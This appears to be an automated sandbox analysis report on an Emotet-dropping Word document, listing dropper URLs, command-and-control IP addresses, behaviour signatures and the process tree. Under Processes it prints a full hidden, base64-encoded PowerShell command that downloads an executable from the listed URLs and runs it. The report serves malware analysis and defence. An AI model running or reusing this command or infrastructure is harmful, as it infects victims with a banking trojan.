Analysis

  • max time kernel
    27s
  • resource
    win10v191014
  • submitted
    27-01-2020 21:17

General

  • Target

    c9126e2d51bc442a8ee2b985a4e0d08d50a972874126adc10450d56797612207.doc

  • Sample

    200127-53d8fbt2ke

  • SHA256

    c9126e2d51bc442a8ee2b985a4e0d08d50a972874126adc10450d56797612207

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://delhisexclinic.com/zds/jUzItNFoNN/

exe.dropper

https://lelangg.online/uydlcvg/xoZAiAes/

exe.dropper

https://usispf.org/wp-admin/vjWaya/

exe.dropper

https://www.sexylady.space/wp-admin/JM/

exe.dropper

https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/

Extracted

Family

emotet

C2

190.6.193.152:8080

200.69.224.73:80

146.255.96.214:443

74.50.51.115:7080

184.172.27.82:8080

68.183.170.114:8080

45.79.95.107:443

190.210.184.138:995

200.58.83.179:80

113.190.254.245:80

181.29.101.13:8080

185.86.148.222:8080

186.200.205.170:80

139.47.135.215:80

62.75.160.178:8080

190.219.149.236:80

190.210.236.139:80

190.100.153.162:443

91.74.175.46:80

175.139.209.3:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c9126e2d51bc442a8ee2b985a4e0d08d50a972874126adc10450d56797612207.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:4992
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA
    1⤵
    • Process spawned unexpected child process
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3604
    • C:\Users\Admin\797.exe
      "C:\Users\Admin\797.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4724
      • C:\Users\Admin\797.exe
        --9698d953
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\797.exe
  • C:\Users\Admin\797.exe
  • C:\Users\Admin\797.exe
  • memory/4392-10-0x00000000005C0000-0x00000000005D6000-memory.dmp
    Filesize

    88KB

  • memory/4392-11-0x0000000000400000-0x000000000045B000-memory.dmp
    Filesize

    364KB

  • memory/4724-8-0x0000000002340000-0x0000000002356000-memory.dmp
    Filesize

    88KB